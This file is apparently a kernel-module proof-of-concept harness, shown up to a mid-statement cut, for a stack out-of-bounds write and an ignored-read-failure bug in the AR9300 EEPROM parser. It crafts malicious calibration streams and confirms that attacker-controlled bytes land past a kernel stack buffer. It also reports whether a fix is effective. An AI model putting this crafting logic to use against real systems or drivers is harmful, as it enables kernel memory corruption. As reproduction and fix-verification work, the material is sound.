/*
 * df2255_harness.c -- kernel-compiled verification rig for
 *   DF-2255 (stack OOB write in ar9300_eeprom_restore_internal_address)
 *   DF-2256 (ar9300_calibration_data_read_array ignores read failures,
 *            leaves destination slots uninitialized)
 *
 * Rig class: verbatim-code harness around the real eeprom-parsing entry.
 * The target functions are #included BYTE-IDENTICAL from the live
 * /usr/src/sys/contrib/dev/ath/ath_hal/ar9300/ar9300_eeprom.c by
 * extract.sh (see df2255_verbatim.inc + extract.log with sha256 gate).
 * The ath HAL entry is hardware-gated (attach-time parse of on-card
 * EEPROM), so the HAL state and eeprom device are fabricated here
 * exactly as the driver would present them at attach:
 *
 *   - struct ath_hal / struct ath_hal_9300 minimal stand-ins with the
 *     fields the verbatim code touches (calibration_data_source, the
 *     ah_eepromRead method pointer, ah_eeprom image).
 *   - fake_eeprom[] models the on-card serial eeprom contents; the
 *     ah_eepromRead stub models a physical device of
 *     fake_eeprom_dev_bytes bytes: word reads past the end of the
 *     device fail, exactly like real hardware NAKs.
 *   - the trigger is the real ar9300_eeprom_restore_internal_address()
 *     call that ar9300_eeprom_restore_internal() makes at attach
 *     (ar9300_eeprom.c:4186-4188) with cptr=4095 (4KB eeprom top),
 *     blank=0xff, mdata_size=sizeof(eeprom image).
 *
 * Trigger: sysctl kern.df2255.rig="<command>"   (root)
 * Commands:
 *   info          - rig constants + counter state
 *   arrfail       - DF-2256: read_array ignores per-byte read failures
 *   uninit        - DF-2256: stale/uninit word[0..3] drives length (amplifier)
 *   otp2k         - DF-2256/2255 scope: 2KB device, partial read failure
 *   chk           - DF-2255 helper: additive checksum gate passes (attacker-
 *                   computable), code dispatch + uncompress reach mptr
 *   ovf <len>     - DF-2255: full attack sim, 4KB device, len in 2043..2047
 *   ovfall        - DF-2255: len = 2043..2047, one..five bytes OOB
 *   diff          - DF-2255: two runs, differing eeprom tail; stack window
 *                   diff shows exactly which bytes past word[2047] move
 *
 * All evidence is printed with the "DFH:" prefix on the console/dmesg.
 */

#include <sys/param.h>
#include <sys/types.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/sysctl.h>
#include <sys/proc.h>
#include <sys/thread.h>
#include <sys/libkern.h>

/* ------------------------------------------------------------------ */
/* fake HAL plumbing -- the macros/types the verbatim code expects.   */
/* ------------------------------------------------------------------ */

typedef int HAL_BOOL;
#define AH_TRUE  1
#define AH_FALSE 0

#define OS_MEMCPY(d, s, n)  memcpy((d), (s), (n))
#define ARRAY_LENGTH(x)     (sizeof(x) / sizeof((x)[0]))

#define HALASSERT(x) do { \
    if (!(x)) kprintf("DFH: HALASSERT failed: %s\n", #x); \
} while (0)

static int df2255_haldebug;
#define HALDEBUG(ah, m, ...) do { \
    if (df2255_haldebug) kprintf(__VA_ARGS__); \
} while (0)

/* constants cross-checked byte-exact against ar9300eep.h by extract.sh */
#define MSTATE 100
#define MOUTPUT 2048
#define MDEFAULT 15
#define MVALUE 100
enum CompressAlgorithm {
    _compress_none = 0,
    _compress_lzma,
    _compress_pairs,
    _compress_block,
    _compress4,
    _compress5,
    _compress6,
    _compress7,
};
enum {
    calibration_data_none = 0,
    calibration_data_dram,
    calibration_data_flash,
    calibration_data_eeprom,
    calibration_data_otp,
};
#define reference_current 0
#define compression_header_length 4
#define compression_checksum_length 2
#define AR9300_EEPROM_SIZE 16*1024

/*
 * Minimal fake HAL objects.  struct ath_hal_9300 starts with the same
 * ah_eepromRead method-pointer member as struct ath_hal so the
 * AH9300(ah) / AH_PRIVATE(ah) casts used by the verbatim code address
 * the right bytes.
 */
struct ath_hal {
    HAL_BOOL (*ah_eepromRead)(struct ath_hal *, u_int off, u_int16_t *data);
};
#define AH_PRIVATE(_ah) (_ah)
#define ath_hal_eepromRead(_ah, _off, _data) \
    AH_PRIVATE(_ah)->ah_eepromRead((_ah), (_off), (_data))

typedef struct ar9300_eeprom_img {        /* stand-in eeprom image */
    int template_version;                 /* member used by find_by_id */
    unsigned char b[MOUTPUT - 4];
} ar9300_eeprom_t;

struct ath_hal_9300 {
    HAL_BOOL (*ah_eepromRead)(struct ath_hal *, u_int off, u_int16_t *data);
    int calibration_data_source;
    ar9300_eeprom_t ah_eeprom;
};
#define AH9300(_ah) ((struct ath_hal_9300 *)(_ah))

/* no compiled-in default templates in the rig */
static ar9300_eeprom_t *default9300[] = { NULL };

/* ------------------------------------------------------------------ */
/* VERBATIM TARGET CODE -- byte-identical extraction, sha256-gated.   */
/* ------------------------------------------------------------------ */

/*
 * The stock X86_64_GENERIC kernel already links the contrib ath_hal
 * (device ath_hal), so the verbatim functions are given df2255_-aliased
 * linkage names via the preprocessor.  This renames SYMBOLS only: the
 * extracted text in df2255_verbatim.inc stays byte-identical (sha256
 * gate in extract.sh), and function bodies / stack layout are compiled
 * exactly as written.
 */
#define ar9300_eeprom_struct_default_find_by_id \
    df2255_ar9300_eeprom_struct_default_find_by_id
#define ar9300_calibration_data_read_eeprom \
    df2255_ar9300_calibration_data_read_eeprom
#define ar9300_calibration_data_read \
    df2255_ar9300_calibration_data_read
#define ar9300_calibration_data_read_array \
    df2255_ar9300_calibration_data_read_array
#define ar9300_compression_checksum \
    df2255_ar9300_compression_checksum
#define ar9300_compression_header_unpack \
    df2255_ar9300_compression_header_unpack
#define ar9300_calibration_data_read_flash \
    df2255_ar9300_calibration_data_read_flash
#define ar9300_calibration_data_read_otp \
    df2255_ar9300_calibration_data_read_otp

/* prototypes for the verbatim-extracted functions (-Wmissing-prototypes) */
ar9300_eeprom_t *ar9300_eeprom_struct_default_find_by_id(int id);
HAL_BOOL ar9300_calibration_data_read_eeprom(struct ath_hal *ah,
    long address, u_int8_t *buffer, int many);
HAL_BOOL ar9300_calibration_data_read(struct ath_hal *ah, long address,
    u_int8_t *buffer, int many);
HAL_BOOL ar9300_calibration_data_read_array(struct ath_hal *ah,
    int address, u_int8_t *buffer, int many);
u_int16_t ar9300_compression_checksum(u_int8_t *data, int dsize);
int ar9300_compression_header_unpack(u_int8_t *best, int *code,
    int *reference, int *length, int *major, int *minor);
static HAL_BOOL ar9300_uncompress_block(struct ath_hal *ah,
    u_int8_t *mptr, int mdata_size, u_int8_t *block, int size);
static int ar9300_eeprom_restore_internal_address(struct ath_hal *ah,
    ar9300_eeprom_t *mptr, int mdata_size, int cptr, u_int8_t blank);

/*
 * The verbatim ar9300_calibration_data_read() dispatch also references
 * the flash and otp readers.  The DragonFly in-tree flash reader is a
 * stub that always fails (ar9300_eeprom.c:3595-3604); the rig never
 * selects the otp source, so a failing stub is faithful for both.
 */
HAL_BOOL ar9300_calibration_data_read_flash(struct ath_hal *ah,
    long address, u_int8_t *buffer, int many);
HAL_BOOL ar9300_calibration_data_read_otp(struct ath_hal *ah,
    long address, u_int8_t *buffer, int many, HAL_BOOL is_wifi);

#include "df2255_verbatim.inc"

HAL_BOOL
ar9300_calibration_data_read_flash(struct ath_hal *ah, long address,
    u_int8_t *buffer, int many)
{
    (void)ah; (void)address; (void)buffer; (void)many;
    return AH_FALSE;
}

HAL_BOOL
ar9300_calibration_data_read_otp(struct ath_hal *ah, long address,
    u_int8_t *buffer, int many, HAL_BOOL is_wifi)
{
    (void)ah; (void)address; (void)buffer; (void)many; (void)is_wifi;
    return AH_FALSE;
}

/* ------------------------------------------------------------------ */
/* fake eeprom device                                                 */
/* ------------------------------------------------------------------ */

static unsigned char fake_eeprom[AR9300_EEPROM_SIZE];
static long fake_eeprom_dev_bytes = 4096;   /* physical device size */
static int fake_fail_all_reads;             /* 1: every word read NAKs */
static long stat_reads, stat_read_fails;    /* ah_eepromRead outcomes */

static HAL_BOOL
df2255_eeprom_read_word(struct ath_hal *ah, u_int off, u_int16_t *data)
{
    (void)ah;
    if (fake_fail_all_reads || ((long)off + 1) * 2 > fake_eeprom_dev_bytes) {
        stat_read_fails++;
        return AH_FALSE;
    }
    *data = (u_int16_t)(fake_eeprom[off * 2] |
                        (((u_int16_t)fake_eeprom[off * 2 + 1]) << 8));
    stat_reads++;
    return AH_TRUE;
}

static struct ath_hal_9300 df_ah9300;   /* BSS: zeroed, fnptr set in
                                           df2255_rig_init() below */

/* ------------------------------------------------------------------ */
/* stack-window probe machinery                                       */
/* ------------------------------------------------------------------ */

/*
 * The window is the stretch of kernel stack directly below the anchor
 * local.  The verbatim function (called through a volatile function
 * pointer, so it is never inlined) allocates its ~2.1KB frame inside
 * this window; word[MOUTPUT] lands ~1.9-2.0KB below the anchor.
 * PROBE_WIN is chosen so the window fully contains the callee frame
 * with margin, and the signature scan limit guarantees dump reads
 * stay inside the window arrays.
 */
#define PROBE_WIN   8192
#define SCAN_LIMIT  (PROBE_WIN - 2100)      /* dump-safe search limit  */

static unsigned char win_a[PROBE_WIN], win_b[PROBE_WIN];

/*
 * word[0] sits at a deterministic offset in the verbatim function's
 * frame; every successful locate on this rig found it at 6080.  When
 * the parse walk overwrites word[0..15] (guarded/fixed kernels), fall
 * back to the last-known offset so the region can still be dumped and
 * checked.
 */
#define WORD_OFF_FALLBACK 6080
static int dfh_last_word_off = WORD_OFF_FALLBACK;

static int
find_signature(const unsigned char *w, int len, const unsigned char *sig,
    int slen)
{
    int i, j;

    for (i = 0; i + slen <= len; i++) {
        for (j = 0; j < slen; j++)
            if (w[i + j] != sig[j])
                break;
        if (j == slen)
            return i;
    }
    return -1;
}

/*
 * Call the verbatim ar9300_eeprom_restore_internal_address() with the
 * kernel-stack region below the current frame pre-filled with `fill`.
 * Immediately on return, snapshot the (now dead) callee frame into
 * out_win with a volatile copy loop (no call, no stack growth, so the
 * dead frame is not disturbed before it is captured).
 */
static int
restore_case(ar9300_eeprom_t *mdest, int cptr, int blank,
    unsigned char fill, int do_fill, unsigned char *out_win)
{
    struct ath_hal *ah = (struct ath_hal *)&df_ah9300;
    volatile unsigned char *anchor, *dst;
    const volatile unsigned char *src;
    int (*volatile fp)(struct ath_hal *, ar9300_eeprom_t *, int, int,
        u_int8_t);
    int r, i;

    memset(mdest, 0, MOUTPUT);
    anchor = (volatile unsigned char *)&anchor;

    /* stay safely inside this kernel stack */
    if ((char *)(uintptr_t)(anchor - PROBE_WIN) <
        curthread->td_kstack + 1024) {
        kprintf("DFH: probe window would leave kstack -- skipping\n");
        return -2;
    }

    if (do_fill) {
        for (i = 0; i < PROBE_WIN; i++)
            anchor[-PROBE_WIN + i] = fill;
        __asm __volatile("" ::: "memory");
    }

    fp = ar9300_eeprom_restore_internal_address;
    r = fp(ah, mdest, (int)sizeof(*mdest), cptr, (u_int8_t)blank);

    /* capture the dead frame region before anything else reuses it */
    src = anchor - PROBE_WIN;
    dst = out_win;
    for (i = 0; i < PROBE_WIN; i++)
        dst[i] = src[i];

    return r;
}

/*
 * Craft a compressed-cal block stream at eeprom top address cptr:
 * stream[j] lands at fake_eeprom[cptr - j] (read_array reads downward)
 *   stream[0..3]   = header: code=_compress_block, ref=0, length=len
 *   stream[4...]   = payload pattern (i ^ 0x5A)
 *   stream[>=2048] = 0xE0.. distinctive OOB-region values (positions
 *                    that can only be *written* past word[2047] when
 *                    len >= 2043 on a device where the read succeeds)
 * stored additive checksum at stream[4+len..5+len] is computed when
 * with_checksum is set (used by "chk" with small len).
 */
static void
craft_stream(int cptr, int len, int with_checksum)
{
    unsigned char stream[4 + 2047 + 2];
    int i, csum = 0;

    memset(stream, 0, sizeof(stream));
    stream[0] = (unsigned char)((_compress_block << 5) | (0 & 0x1f));
    stream[1] = (unsigned char)(((len >> 4) & 0x7f) | ((0 >> 5) << 2));
    stream[2] = (unsigned char)(((len & 0x0f) << 4) | 7);   /* major=7 */
    stream[3] = 9;                                          /* minor=9 */
    for (i = 0; i < len; i++) {
        if (4 + i >= 2048)
            stream[4 + i] = (unsigned char)(0xE0 + (4 + i - 2048));
        else
            stream[4 + i] = (unsigned char)(i ^ 0x5A);
    }
    if (with_checksum) {
        for (i = 0; i < len; i++)
            csum = (csum + stream[4 + i]) & 0xffff;
        stream[4 + len] = (unsigned char)(csum & 0xff);
        stream[5 + len] = (unsigned char)(csum >> 8);
    } else {
        if (4 + len >= 2048)
            stream[4 + len] = (unsigned char)(0xE0 + (4 + len - 2048));
        else
            stream[4 + len] = 0x00;
        if (5 + len >= 2048)
            stream[5 + len] = (unsigned char)(0xE0 + (5 + len - 2048));
        else
            stream[5 + len] = 0x00;
    }
    for (i = 0; i < 4 + len + 2; i++) {
        if (cptr - i < 0 || cptr - i >= AR9300_EEPROM_SIZE)
            continue;
        fake_eeprom[cptr - i] = stream[i];
    }
}

/* signature of word[0..15] as crafted above */
static void
make_sig(unsigned char *sig, int len)
{
    int i;

    sig[0] = (unsigned char)((_compress_block << 5));
    sig[1] = (unsigned char)(((len >> 4) & 0x7f));
    sig[2] = (unsigned char)(((len & 0x0f) << 4) | 7);
    sig[3] = 9;
    for (i = 0; i < 12; i++)
        sig[4 + i] = (unsigned char)(i ^ 0x5A);
}

/*
 * Locate word[0] in a captured window: try the full 16-byte signature,
 * then 8 bytes, then just the 4 header bytes.  Returns the offset and
 * sets *slen to the signature length that matched.
 */
static int
locate_word(const unsigned char *win, const unsigned char *sig, int *slen)
{
    /*
     * word[4..11] always hold the payload pattern (i ^ 0x5A) when a
     * crafted block was parsed, even if word[0..3] were later re-read
     * from a zeroed region -- so fall back to matching the pattern and
     * deriving word[0] = match - 4.
     */
    static const unsigned char patsig[8] = {
        0x5A, 0x5B, 0x58, 0x59, 0x5E, 0x5F, 0x5C, 0x5D
    };
    int off;

    off = find_signature(win, SCAN_LIMIT, sig, 16);
    if (off >= 0) { *slen = 16; dfh_last_word_off = off; return off; }
    off = find_signature(win, SCAN_LIMIT, sig, 8);
    if (off >= 0) { *slen = 8; dfh_last_word_off = off; return off; }
    off = find_signature(win, SCAN_LIMIT, sig, 4);
    if (off >= 0) { *slen = 4; dfh_last_word_off = off; return off; }
    off = find_signature(win, SCAN_LIMIT, patsig, 8);
    if (off >= 0) { *slen = -8; dfh_last_word_off = off - 4; return off - 4; }
    *slen = 0;
    return -1;
}

/*
 * Plant header+pattern at cptr2 = cptr - (len + 6): the parse loop
 * walks DOWN, so after the crafted block at cptr the next iteration
 * re-reads its header from cptr2; planting the same bytes there keeps
 * word[0..15] holding the crafted stream when the function returns.
 */
static void
plant_next_header(int cptr, int len)
{
    int cptr2 = cptr - (len + 6);
    int i;

    if (cptr2 - 3 < 0)
        return;
    for (i = 0; i < 20; i++) {
        unsigned char v;
        if (i == 0) v = (unsigned char)(_compress_block << 5);
        else if (i == 1) v = (unsigned char)((len >> 4) & 0x7f);
        else if (i == 2) v = (unsigned char)(((len & 0x0f) << 4) | 7);
        else if (i == 3) v = 9;
        else v = (unsigned char)((i - 4) ^ 0x5A);
        fake_eeprom[cptr2 - i] = v;
    }
}

/* hexdump a window region (for interactive forensics) */
static void
hexdump_region(const char *tag, const unsigned char *win, int start,
    int len)
{
    int i;

    for (i = 0; i < len; i += 16) {
        int j;
        kprintf("DFH: %s +%04x:", tag, start + i);
        for (j = 0; j < 16 && i + j < len; j++)
            kprintf(" %02x", win[start + i + j]);
        kprintf("\n");
    }
}

static void
dump_word_region(const char *tag, const unsigned char *win, int off)
{
    int i;

    if (off < 0) {
        kprintf("DFH: %s word[0] SIGNATURE NOT FOUND in window\n", tag);
        return;
    }
    kprintf("DFH: %s word[0] at window+%d word[2040..2063]:", tag, off);
    for (i = 2040; i < 2064; i++)
        kprintf(" %02x", win[off + i]);
    kprintf("\n");
}

static int
check_oob(const char *tag, const unsigned char *win, int off, int len)
{
    int n = len + 6 - MOUTPUT;      /* bytes written past word[2047] */
    int i, ok = 1, sentinel = 1;

    if (n <= 0) {
        kprintf("DFH: %s len=%d -> read of %d bytes fits, no OOB\n",
            tag, len, len + 6);
        return 0;
    }
    kprintf("DFH: %s len=%d -> read_array of %d bytes into word[%d]:",
        tag, len, len + 6, MOUTPUT);
    for (i = 0; i < n; i++)
        kprintf(" %02x", win[off + MOUTPUT + i]);
    kprintf(" (attacker eeprom values");
    for (i = 0; i < n; i++)
        kprintf(" %02x", 0xE0 + i);
    for (i = 0; i < n; i++) {
        if (win[off + MOUTPUT + i] != (unsigned char)(0xE0 + i))
            ok = 0;
        if (win[off + MOUTPUT + i] != 0xA5)
            sentinel = 0;
    }
    kprintf(") ");
    if (ok)
        kprintf("*** OOB WRITE CONFIRMED: eeprom-controlled kernel-stack "
            "bytes past word[2047] ***\n");
    else if (sentinel)
        kprintf("no eeprom bytes landed past word[2047] (sentinel "
            "intact -- FIX EFFECTIVE)\n");
    else
        kprintf("MISMATCH (neither attacker values nor sentinel)\n");
    return ok;
}

/* ------------------------------------------------------------------ */
/* command implementations                                            */
/* ------------------------------------------------------------------ */

static char df2255_status[256];

/* fill/snapshot machinery self-test: no verbatim call involved */
static void
case_selftest(void)
{
    volatile unsigned char *anchor;
    const volatile unsigned char *src;
    volatile unsigned char *dst;
    int i, sent = 0;

    anchor = (volatile unsigned char *)&anchor;
    if ((char *)(uintptr_t)(anchor - PROBE_WIN) <
        curthread->td_kstack + 1024) {
        kprintf("DFH: selftest: window would leave kstack\n");
        return;
    }
    for (i = 0; i < PROBE_WIN; i++)
        anchor[-PROBE_WIN + i] = 0xA5;
    __asm __volatile("" ::: "memory");
    src = anchor - PROBE_WIN;
    dst = win_a;
    for (i = 0; i < PROBE_WIN; i++)
        dst[i] = src[i];
    for (i = 0; i < PROBE_WIN; i++)
        if (win_a[i] == 0xA5)
            sent++;
    kprintf("DFH: selftest: anchor=%p kstack=%p kstack_size=%d "
        "sentinel %d/%d\n", (void *)(uintptr_t)anchor,
        curthread->td_kstack, curthread->td_kstack_size, sent,
        PROBE_WIN);
    hexdump_region("selftest", win_a, 0, 32);
}

static void
case_info(void)
{
    ksprintf(df2255_status,
        "MOUTPUT=%d MSTATE=%d hdr=%d csum=%d EEP_SIZE=%d imgsz=%ld "
        "reads=%ld fails=%ld",
        MOUTPUT, MSTATE, compression_header_length,
        compression_checksum_length, AR9300_EEPROM_SIZE,
        (long)sizeof(ar9300_eeprom_t), stat_reads, stat_read_fails);
    kprintf("DFH: info: %s\n", df2255_status);
    kprintf("DFH: info: rig target = verbatim ar9300_eeprom_restore_"
        "internal_address (DF-2255) + ar9300_calibration_data_read_array"
        " (DF-2256)\n");
}

/* DF-2256 primary: failures ignored, AH_TRUE returned, slots stale */
static void
case_arrfail(void)
{
    unsigned char buf[64];
    int i, rv, stale = 0;
    long r0, f0;

    memset(buf, 0xCC, sizeof(buf));
    df_ah9300.calibration_data_source = calibration_data_eeprom;
    fake_eeprom_dev_bytes = 4096;
    fake_fail_all_reads = 0;
    fake_eeprom[0] = 0x33; fake_eeprom[1] = 0x22; fake_eeprom[2] = 0x11;
    r0 = stat_reads; f0 = stat_read_fails;
    rv = ar9300_calibration_data_read_array(
        (struct ath_hal *)&df_ah9300, 2, buf, 16);
    kprintf("DFH: arrfail: read_array(addr=2, many=16) on 4KB dev -> "
        "retval=%d (AH_TRUE=%d); device-stub reads=%ld (the 13 negative"
        "-address reads were rejected by the address<0 check inside the"
        " verbatim read_eeprom before ever reaching the device)\n",
        rv, AH_TRUE, stat_reads - r0);
    kprintf("DFH: arrfail: buf after call:");
    for (i = 0; i < 16; i++)
        kprintf(" %02x", buf[i]);
    kprintf("\n");
    for (i = 3; i < 16; i++)
        if (buf[i] == 0xCC)
            stale++;
    kprintf("DFH: arrfail: addresses 2,1,0 read fine (buf[0..2]); "
        "addresses -1..-13 failed and their %d/13 slots still hold the "
        "pre-call sentinel; retval AH_TRUE=%d: %s\n",
        stale, rv == AH_TRUE,
        (rv == AH_TRUE && stale == 13) ?
        "*** DF-2256 CONFIRMED: failure ignored, AH_TRUE returned ***" :
        (rv == AH_FALSE && stale == 13) ?
        "FIX EFFECTIVE: failure propagated (AH_FALSE), slots never "
        "written" : "MISMATCH");
    ksprintf(df2255_status, "arrfail: rv=%d stale=%d/13", rv, stale);
}

/*
 * DF-2256 amplifier: word[0..3] left uninitialized when the header
 * read fails; the stale bytes then drive code/length.  The stale
 * content is groomed by an earlier successful parse at the exact same
 * stack depth (models whatever previously used that kernel stack).
 * NO function calls between the two restore_case() invocations.
 */
static void
case_uninit(void)
{
    int r1, r2;
    ar9300_eeprom_t *mdest = &df_ah9300.ah_eeprom;
    long reads0, fails0, reads1, fails1;
    unsigned char sig[16];
    int off;

    df_ah9300.calibration_data_source = calibration_data_eeprom;
    fake_eeprom_dev_bytes = 4096;
    fake_fail_all_reads = 0;
    memset(fake_eeprom, 0, sizeof(fake_eeprom));
    craft_stream(4095, 2047, 0);
    plant_next_header(4095, 2047);

    /* groom: a successful parse writes header+pattern into word[] */
    r1 = restore_case(mdest, 4095, 0xff, 0xA5, 1, win_a);

    /* device goes dark mid-life (unplugged eeprom / dead otp):
     * every word read now fails */
    fake_fail_all_reads = 1;
    reads0 = stat_reads; fails0 = stat_read_fails;
    r2 = restore_case(mdest, 4095, 0xff, 0xA5, 0, win_b);   /* NO re-fill */
    reads1 = stat_reads; fails1 = stat_read_fails;

    kprintf("DFH: uninit: groom call ret=%d; fail-all call ret=%d "
        "reads=%ld fails=%ld\n", r1, r2, reads1 - reads0,
        fails1 - fails0);
    {
        long per_iter = 4 + 2047 + 2;
        long iters = (fails1 - fails0) / per_iter;
        kprintf("DFH: uninit: header read failed, word[0..3] kept stale "
            "groom bytes, blank-check compared GARBAGE, unpack derived "
            "length=2047 from UNINITIALIZED stack, payload read_array "
            "of %ld bytes into word[%d] (5 past the end), looped %ld "
            "times (MSTATE cap %d): ",
            per_iter, MOUTPUT, iters, MSTATE);
        if (fails1 - fails0 >= per_iter)
            kprintf("*** DF-2256 AMPLIFIER CONFIRMED: uninit stack "
                "drove many > MOUTPUT ***\n");
        else if (fails1 - fails0 <= 8)
            kprintf("failure propagated after %ld read(s) -- FIX "
                "EFFECTIVE, no garbage-driven parse\n",
                fails1 - fails0);
        else
            kprintf("MISMATCH (%ld fails)\n", fails1 - fails0);
        ksprintf(df2255_status,
            "uninit: fails=%ld iters=%ld", fails1 - fails0, iters);
    }
    make_sig(sig, 2047);
    {
        int slen = 0;
        off = locate_word(win_b, sig, &slen);
        kprintf("DFH: uninit: fail-all frame still holds the groom "
            "stream (offset %d, siglen %d) -- failed reads never "
            "wrote it:\n", off, slen);
        if (off >= 0 && slen < 16)
            hexdump_region("uninit-win_b", win_b, off > 16 ? off - 16 : 0,
                64);
        dump_word_region("uninit", win_b, off);
    }
}

/* 2KB device: payload read partially fails; no OOB write happens
 * (scope check for DF-2255) and uninit bytes feed the checksum */
static void
case_otp2k(void)
{
    int r, off, i, stale = 0;
    ar9300_eeprom_t *mdest = &df_ah9300.ah_eeprom;
    long reads0, fails0;
    unsigned char sig[16];

    df_ah9300.calibration_data_source = calibration_data_eeprom;
    fake_eeprom_dev_bytes = 2048;
    fake_fail_all_reads = 0;
    memset(fake_eeprom, 0, sizeof(fake_eeprom));
    craft_stream(2047, 2047, 0);
    plant_next_header(2047, 2047);   /* no-op: cptr2 < 0 */

    reads0 = stat_reads; fails0 = stat_read_fails;
    r = restore_case(mdest, 2047, 0xff, 0xA5, 1, win_a);
    kprintf("DFH: otp2k: cptr=2047 len=2047 on 2KB dev -> ret=%d "
        "reads=%ld fails=%ld\n",
        r, stat_reads - reads0, stat_read_fails - fails0);

    make_sig(sig, 2047);
    {
        int slen = 0;
        off = locate_word(win_a, sig, &slen);
        kprintf("DFH: otp2k: word[0] located at offset %d (siglen %d)\n",
            off, slen);
        if (off >= 0 && slen < 16)
            hexdump_region("otp2k-win_a", win_a, off > 16 ? off - 16 : 0,
                64);
    }
    dump_word_region("otp2k", win_a, off);
    if (off >= 0)
        for (i = 0; i < 5; i++)
            if (win_a[off + MOUTPUT + i] == 0xA5)
                stale++;
    kprintf("DFH: otp2k: word[2048..2052] keeps pre-call content in "
        "%d/5 slots -> NO OOB write on a 2KB device (the 5 reads at "
        "negative addresses were rejected); those UNINITIALIZED bytes "
        "are still consumed by the checksum loop and the mchecksum "
        "compare at word[4+len],word[5+len]: DF-2256\n", stale);
    ksprintf(df2255_status, "otp2k: reads=%ld fails=%ld sentinel=%d/5",
        stat_reads - reads0, stat_read_fails - fails0, stale);
}

/* checksum gate is attacker-computable; dispatch applies payload */
static void
case_chk(void)
{
    int r, i, hit = 0, csum = 0;
    ar9300_eeprom_t *mdest = &df_ah9300.ah_eeprom;
    const char marker[16] = {
        'D', 'F', '2', '2', '5', '5', '-', 'P', 'W', 'N', 'E', 'D', '-',
        'O', 'K', '!'
    };
    unsigned char *mb = (unsigned char *)&df_ah9300.ah_eeprom;

    df_ah9300.calibration_data_source = calibration_data_eeprom;
    fake_eeprom_dev_bytes = 4096;
    fake_fail_all_reads = 0;
    memset(fake_eeprom, 0, sizeof(fake_eeprom));
    memset(mb, 0, MOUTPUT);
    craft_stream(4095, 1024, 0);
    /* valid pair-stream payload: (offset 0, len 16, marker), then
     * (0,0) no-op pairs to the end, then a matching additive checksum */
    fake_eeprom[4095 - 4] = 0;               /* pair offset  */
    fake_eeprom[4095 - 5] = 16;              /* pair length */
    for (i = 0; i < 16; i++)
        fake_eeprom[4095 - 6 - i] = (unsigned char)marker[i];
    for (i = 22; i < 1024; i++)
        fake_eeprom[4095 - 4 - i] = 0;
    for (i = 0; i < 1024; i++)
        csum = (csum + fake_eeprom[4095 - 4 - i]) & 0xffff;
    fake_eeprom[4095 - 4 - 1024] = (unsigned char)(csum & 0xff);
    fake_eeprom[4095 - 5 - 1024] = (unsigned char)(csum >> 8);

    stat_reads = stat_read_fails = 0;
    r = restore_case(mdest, 4095, 0xff, 0xA5, 1, win_a);
    for (i = 0; i < 16; i++)
        if (mb[i] == (unsigned char)marker[i])
            hit++;
    kprintf("DFH: chk: len=1024 code=_compress_block ret=%d reads=%ld "
        "fails=%ld\n", r, stat_reads, stat_read_fails);
    kprintf("DFH: chk: restored eeprom image starts with:");
    for (i = 0; i < 16; i++)
        kprintf("%c", (mb[i] >= 32 && mb[i] < 127) ? mb[i] : '.');
    kprintf("\n");
    kprintf("DFH: chk: attacker-computed 16-bit additive checksum "
        "passed the gate, dispatch reached _compress_block and applied "
        "the payload to the in-RAM eeprom image: %s\n",
        hit == 16 ? "CONFIRMED (16/16 marker bytes)" : "MISMATCH");
    ksprintf(df2255_status, "chk: ret=%d marker=%d/16", r, hit);
}

/* DF-2255: full attack on a 4KB-eeprom card */
static void
case_ovf(int len)
{
    int r, off;
    ar9300_eeprom_t *mdest = &df_ah9300.ah_eeprom;
    unsigned char sig[16];
    long reads0, fails0;

    if (len < 2043 || len > 2047) {
        kprintf("DFH: ovf: len %d out of range 2043..2047\n", len);
        return;
    }
    df_ah9300.calibration_data_source = calibration_data_eeprom;
    fake_eeprom_dev_bytes = 4096;
    fake_fail_all_reads = 0;
    memset(fake_eeprom, 0, sizeof(fake_eeprom));
    craft_stream(4095, len, 0);
    plant_next_header(4095, len);

    reads0 = stat_reads; fails0 = stat_read_fails;
    r = restore_case(mdest, 4095, 0xff, 0xA5, 1, win_a);
    kprintf("DFH: ovf len=%d: verbatim ret=%d byte-reads=%ld fails=%ld "
        "(cptr=4095, lowest byte address %d >= 0: every read succeeds "
        "on a 4KB device)\n",
        len, r, stat_reads - reads0, stat_read_fails - fails0,
        4095 - (len + 5));

    make_sig(sig, len);
    {
        int slen = 0;
        off = locate_word(win_a, sig, &slen);
        if (off < 0) {
            off = dfh_last_word_off;
            kprintf("DFH: ovf: locate failed, using last-known word[0] "
                "offset %d\n", off);
        } else
            kprintf("DFH: ovf: word[0] located at window offset %d "
                "(siglen %d)\n", off, slen);
        if (off >= 0 && slen < 16)
            hexdump_region("ovf-win_a", win_a, off > 16 ? off - 16 : 0,
                64);
        dump_word_region("ovf", win_a, off);
        if (off < 0) {
            int base;
            kprintf("DFH: ovf: sampled window contents (first 8 bytes "
                "of every 256):\n");
            for (base = 0; base < PROBE_WIN; base += 256) {
                int j;
                kprintf("DFH: ovf-win +%04x:", base);
                for (j = 0; j < 8; j++)
                    kprintf(" %02x", win_a[base + j]);
                kprintf("\n");
            }
        }
        if (off >= 0)
            check_oob("ovf", win_a, off, len);
    }
}

/* DF-2255: two runs, only the OOB-region eeprom bytes differ */
static void
case_diff(void)
{
    unsigned char sig[16];
    int len = 2047, r1, r2, offa, offb, i, n = 0;
    ar9300_eeprom_t *mdest = &df_ah9300.ah_eeprom;

    df_ah9300.calibration_data_source = calibration_data_eeprom;
    fake_eeprom_dev_bytes = 4096;
    fake_fail_all_reads = 0;

    memset(fake_eeprom, 0, sizeof(fake_eeprom));
    craft_stream(4095, len, 0);
    plant_next_header(4095, len);
    r1 = restore_case(mdest, 4095, 0xff, 0xA5, 1, win_a);

    /* change ONLY the eeprom bytes destined for word[2048..2052] */
    for (i = 0; i < 5; i++)
        fake_eeprom[4095 - (2048 + i)] = (unsigned char)(0xD0 + i);

    r2 = restore_case(mdest, 4095, 0xff, 0xA5, 1, win_b);

    make_sig(sig, len);
    {
        int slen = 0;
        offa = locate_word(win_a, sig, &slen);
        offb = locate_word(win_b, sig, &slen);
        if (offa < 0) offa = dfh_last_word_off;
        if (offb < 0) offb = dfh_last_word_off;
    }
    kprintf("DFH: diff: two identical calls; only the eeprom bytes for "
        "word[2048..2052] differ (0xE0..E4 vs 0xD0..D4); ret1=%d "
        "ret2=%d off_a=%d off_b=%d\n", r1, r2, offa, offb);
    if (offa < 0 || offb < 0) {
        kprintf("DFH: diff: signature not found, no verdict\n");
        return;
    }
    kprintf("DFH: diff: stack bytes that changed RELATIVE TO word[0] "
        "(range 2030..2063):");
    for (i = 2030; i < 2064; i++)
        if (win_a[offa + i] != win_b[offb + i])
            kprintf(" +%d(%02x->%02x)%s", i, win_a[offa + i],
                win_b[offb + i],
